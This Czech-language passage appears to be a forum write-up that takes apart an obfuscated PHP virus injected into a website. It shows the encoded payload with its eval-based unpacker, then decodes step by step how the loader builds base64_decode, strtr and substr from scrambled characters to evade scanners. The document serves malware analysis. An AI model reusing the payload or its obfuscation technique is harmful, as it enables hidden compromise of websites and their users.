1XNY8FCdvAYIulJYulJYulJYulJOX0WRu6Cc93W3NaN2k0iB1XNRGaU3ptC3AdgOwjPoGyN2k0iB1XNY8FCdvyN2k0iB1XNY54N2KIsIN7fKelJYulpRATWOwjPoSHgOwXiOwcJY49JYNAYIulsRwcUf4AYIulJYu8UO9dsINapOX0WRuapreyCcNlCIuvgO9rWYuaJYJyJIuaJYN8C2qyPr4AYIulJYu8UOVrWO1yif4tJY4lpOEXWOwHN3EcJY4lprFyUOVrWO1yif4AYIulJYu8P2XXUbWkitpkNx5vPBkLZxFyP2XXUbWkitpkNx4AYIulJYu8NRpTU3pTWRv+GY4qsY9FNbkyNbk0Zx4AYIulsY91NbF+prLAYIulJYuvWopLo2VcNIu9JOw4NOqyiOQeJkqcoO4ICYE1NbFTzF0nJYulJYEjPoSHN3EcJf0lpRATWOwjPoSHgOwXiOwczF0nJYulJOiyNbwXP2lepRwcUV9XNtJlPoGlpRiXURwknoLAYIulJYulJYulpO1XNV9rWRJlCd0lpF0nJYu8WopLsl0nJYulJfqLU2G+pc4vgRE0NY4tzI8ypcuaJYEeU3A0JY4lJI8IJY4vWbVLWBQlCIN8C2qyPr4AYIulJYu8UOVrWO1yif4tJY4lpOEXWOwHN3EcJY4lprFyUOVrWO1yif4AYIulJYu8P2XXUbWkitpkNx5vPBkLZxFyP2XXUbWkitpkNx4AYIulJYu8NRpTU3pTWRv+GY4qsY9FNbkyNbk0Zx4AYIulsY91NbF+prLAYIulJYS9fKelJYuliBAeUcuvUBVFo3A0NI4IfKe8C3wcURAkWf4IzF0nHK0nfKeAYl0ngBPeN3EcgoA0NIlvN211NbkHWO1FCYNaP3ArpcvTZF0nJYulJYE3iBJlshuvgRE0NV93iBJapreyCcNapOWyW2wICINygB5violaNOXFs3wcUf0tCIErgoEkCINbgBK9pc4vgBKapci0iB1FshNapREkUouapcivWf0tCIEvWY4tptWkPd0tCIEeU3A0CINbZte9pc5rUBkrPb90nYvapcimiOkcshNapOTvgoJapcidUO9dgr0tCIEdUO9dgc4tptwcgx0tCIErUowcgh4tpbqXUbN9pc4vUOVaic4tpb9rshNapO9rCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFo2ALU2AMshNapOX0WRSHP2qyP2L7fKelJYulpOX0UBqHP29aWOwaWYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKyP3ArzcSdgOVcN2w0sow0iI04JIv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHK0nJYulJR0AYt0AYl0niBqrihSTiIlvN2k0ihk7fKelJYulgBPepRATWOQlsx0lp3XjUYNTZF0nJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKygREjUfLlP2XXNtAkWf11WOPjzYJTzF0nJYulJYulJYuvUBVFiOkcJf0lKYEHE0wQBcWjPoSvgoJtoxLAYIulJYulJYulpO1XNRE5NOQlshSupV9REwEUp21XNRE5NOQtoxLAYIulJYulJYulpOiTUOw0ZoSkJf0lKYEHE0wQBcWbgBqkWRkFihWWzF0nJYulJYulJYuvUBVFo3AFUOk0N19aWB0lshSupV9REwEUp21XNV9rNOqTWRAHUtwjp107fKelJYulJYulJYEjPoSHUtwjJf0lKYEHE0wQBcWjPoSHUtwjp107fKelJYulJYulJYEvPoEXxbw3Jf0lKYEHE0wQBcWvPoEXxbw3p107fKelJYulJYulJOkbnYEjPoSvgoJTZF0nJYulJYulJYulJYulgBPeJBkro2ETNIlvUBVFiOkcnhk7fKelJYulJYulJYulJYulJYulKO1MiOkcnYEjPoSvgoJLGfN3Acq0NtwknxLAYIulJYulJYulJYulJYulJYSkP2XyJYWygcutCIEjPoSvgoJapcSrWBAdioArJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuvUBVFiOkcCINlPBqciBVvZhSkZOkrWYD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYSTiIXupV9REwEUp21XNOkaiOw4p10TZF0nJYulJYulJYulJYulpOiTUOwXNtpXZhu9JOqTN3EDgoJepO1XNOETNIv7fKelJYulJYulJYulJYSTiIXdU3waWYlvibkLiBVcNbV5nx49GIk7fKelJYulJYulJYulJYulJYulpO1XNOkaiOw4o3A0NIu9JYNtzF0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlshutsf94UBFlWbwcN2kyUd0IGh4FJISkUbAyiOkair0IwwEOCxlIsr4AYdqrgoEkUBVFgB5viollZO1LUtG9JbX0WRu6Cc93W3Nai29yi2qkCbAyUh9rP2XkUBVrC3ATWOwjPouyGY44AYJ+prLAYIulJYulJYulJYulJYulJYSbU3pkPBAenYEbgBqkPopcPovlPoGlpRiXURwknoLAYIulJYulJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvWbVLWBQLpc54UBFtnhk7fKelJYulJYulJYulJYulJYulJYulJYulJYuvUBVFgB5vioXHN3EcJY49JYNAYIulsRATWOwjPou+fKelJYulsOqyPr4tCIpeWREFzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIEjPoSvgoJapc8tCIE2PBq1ih4tsY9LU2G+fKelJfFyN2k0iB1XNf4tzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlCd0lpF0nsY9rgoEkUBVFgB5viol+prLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JDuvo0WVwVLtUBVFgB5violtoh4tCtXjUYN7fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvUBVFgB5vioXHN3EcnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+gRE0NfeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYuyC2wdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOwdgO8lp3XjUYSbgBqkJOqkN3GlUtwjPbwcJO1XNOkaiOw4JOiXgBqkJhN7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYuvW2wIJf0lpOX0WRSHW2wICIN6Cc8tCIEtU3WkPI4tC3ATWOwjPouaNOXFs2EXWOQ9pc4vgBKapci0iB1FshNapREkUouapci3iBJ9pc4vgO9rWY4tptXjUf0tCIEvWY4tpb1XNRE5NOQ9pc4vUBVFWRkFih4tpbiTUOw0ZoSkshNapOiTUOw0ZoSkCINbUBVFo3AFUOk0N19aWB09pc4vUBVFo3AFUOk0N19aWB0apcijPoSHUtwjshNapO1XNV9aWB0apcivPoEXxbw3shNapOEXWOVzioNapci1Nbv9pc4vN211NbvapcieWREFshNapOX0WRu7fKelJYulJYulJOkbnRA1PtA0NIlvWOwjNYFFCflTsx0tN2XkUOq4UBFtnoLAYIulJYulJYulJYulJYE4UBqaPB1kJf0lN3wIN3EcnYE0iB1FCflTCINaZO1LprLAYIulJYulJYulHK0nJYulJYulJYSTiIXrWBprWRJepREkUouLGYF3nx09p2XXP2j4UBFtnoLAYIulJYulJYulJYulJOkbnRA1PtA0NIlvWOwjNYF3nhk7fKelJYulJYulJYulJYulJYulpRXjUO5XUBQlshSrWBprWRJepREkUouLAcvapc54UBFtzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulJYulJOkbnDuvo0WVwVLtUBVFiOkcp10TZF0nJYulJYulJYulJYulgBPepOiTUOw0ZoSksx0qnoLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JYE4UBqaPB1kCINai3etzF0nJYulJYulJYulJYulHBwLN2QlgBPepOiTUOw0ZoSksx0cnoLAYIulJYulJYulJYulJYulJYSTiIXbWB5dWOkyUk9kZOkrWRGep2W6U3SkUINTnhS7fKelJYulJYulJYulJYulJYulJYulJYE4UBqaPB1kJf0lpRXjUO5XUBQapc5tZIN7fKelJYulJYulJYulJYulJYulJYulJOkbnYEbNYu9JOW6U3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlp3N5pcvTZF0nJYulJYulJYulJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulJYulJYulJYSTiIXrWRpTN3EcnYE4UBFLp25yJOAciBV0JO1XNYNTnoLAYIulJYulJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJYulJYulJYulJYulJYEbNYu9JOW6U3SkUIuepO1XNOETNI4tCcNapRXjUO5XUBQLJYW3zhNTzF0nJYulJYulJYulJYulJYulJYulJYulJYuli3T3Nbk0ihuepOiFCYuvZO1LnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOW6P2qyN2QepOiFnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJYulJYulJYuli3TdUO9rihlvituTzF0nJYulJYulJYulJYulJYulJYulJYulJYuliBAeUcutsOiyUtKlN3E5UOQ9JbAyUO9cztpkiYJ+P3pkPoKlN2k0iB1XNYSbPBkLihSzUcSKiopjgoArgB9aNcD8C2iyUtK+sOpcsbX0WRu6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbW6U3SkUISaUcSkZOkrWRGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYE3iBJlshuvgRE0NV93iBJapreyCcNapOWyW2wICINyN2k0iB1XNY5FgRu/iOV0ix0tCIETiY4tptEkUou9pc4vWOwjNY4tptWkPd0tCIEeU3A0CINbZO1LshNapOE0CINbUBVFWRkFix0tCIEjPoS0ZoSkCINbgRE0Nf0tCIEeWREFzF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeib9FiB4epO1XNOETNI4tCcNapRXjUO5XUBQLJYp3JIvTZF0nJYulJYulJYulJYulJYulJYE4UBFlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYulJYulJYulJOkbnRA0NbkrWRJepRXjUYFtUb8lP3pkPoKlUBVFpcvTZF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJOw4goK7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjZBiTUOQlshSbU3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlJtNInxLAYIulJYulJYulJYulJYulJYSbW3pTWOQepO15ibkLihFlpRXjUYv7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOidUO9rihlvUokbgBqknxLAYIulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5dNbwXWYSrgoEkUBVFJOiXgBqkJD5yJVSkNb1TN3ATU25rJxFyib9aWf48PtJ+gRE0NfeyCcNapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSTiIXbU3SkUIlvZO1LUbVjihFlJtNInhk7fKelJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvZO1LCYWaUcSdNbwXWYSjPoutnhk7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsb5yJOAciBV0JO1XNYD8C2iyUtK+prLAYIulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvZO1LnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+JI4vgRE0NY4IzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIE4UBqaPB1kzF0nJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbAciBV0JRATWOwjPoulibVTUOQlxb8lQOwcUBkrN2kyUtGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYuliBAeUcuIsOpcsIJapRWkPdLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOkvnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulJYulJYEeWO1Lo2AyUtEkUtKlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYSTiIlXN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp25yPb90WoAkNbVtiB50pcvTZF0nJYulJYulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYulJYulpOX0UBqHP29aWOwaWYu9JRA0Nk9cioSLPBAknYpyg2X0UBqtioEdU250iB50JIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJYulJYSkP2XyJYEeWO1Lo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtK1GfSFPBWkpcvTZF0nJYulJYulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfQFGYSpUtEkNb5XUYSxiop2ioJlEopcU3JtnxLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfKFARSXi2Qtnhk7fKelJYulJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlAfu0JD5yWYSOU3waiYNTzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJR0AYt1kURAkZF0nfKelJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulpOX0UBqHP29aWOwaWYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); Celý výstup je ve skutečnosti jednořádkový, ale odbouchl jsem konec na kterém začínal další eval - aby jste ho vůbec zaregistrovali Překvapením je další base64 enkrypt + další eval, který spouští další záhadu. Začíná se to trochu zamotávat, přejdeme tedy na php sandbox, který nám pomůže sledovat celý proces a jeho postup (https://sandbox.onlinephpfunctions.com/). Vložíme si do něj náš původní inject, nicméně "eval" přepíšeme na echo - tím dostaneme podobný výstup jako na dekodéru base64. Ten nicméně zkopírujeme a vložíme ZA náš původní inject. Přepsaný eval na echo můžeme odstranit úplně i s původním enkryptem - zbytečně by zasíral výstup. Pokud vám kód nejde spustit, zkontrolujte si verzi PHP a chyby na výstupu inject funguje jen na verzi php 5.6.* a na 7+ nepoběží Druhý eval znovu přepíšeme na echo a při dalším spuštění již získáme celý surový kód našeho viru: https://pastebin.com/i3ASp9Qv (má nějakých 500 řádků - zbytečně bych projebal místo v topicu ) Než se mrkneme na samotný kód a jeho přibližnou funkci, pojďme se podívat jakým způsobem probíhá samotné rozbalení tohoto viru: $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; Celá tato blbost vlastně zajistí, že kód netriggerne žádné vzorce virus scannerů apod. Řetězec prvního řádku po urldecode vypadá takto: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j Pojďme probrat co vlastně dělá znamená každá část se složenými závorkami: echo $O00OO0{3} //b echo $O00OO0{6}; //a echo $O00OO0{33}; //s echo $O00OO0{30}; //e echo $O00OO0{33}; //s echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O0OO00{0}; //s echo $O00OO0{18}; //u echo $O00OO0{3}; //b echo $O0OO00{0}; //s echo $O0OO00{1}; //t echo $O00OO0{24}; //r echo $O00OO0{7}; //5 echo $O00OO0{13}; //2 echo $O00OO0{22}; //6 echo $O00OO0{36}; //4 echo $O00OO0{29}; //_ echo $O00OO0{26}; //d echo $O00OO0{30}; //e echo $O00OO0{32}; //c echo $O00OO0{35}; //o echo $O00OO0{26}; //d echo $O00OO0{30}; //e Rozbalovač tedy složí názvy PHP funkcí z náhodně vypadajícího textu a poté je spustí pomocí funkce "eval" (která převede string na PHP kód a spustí ho) $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; //base $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; //strtr $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; //substr $OO0000=$O00OO0{7}.$O00OO0{13}; //52 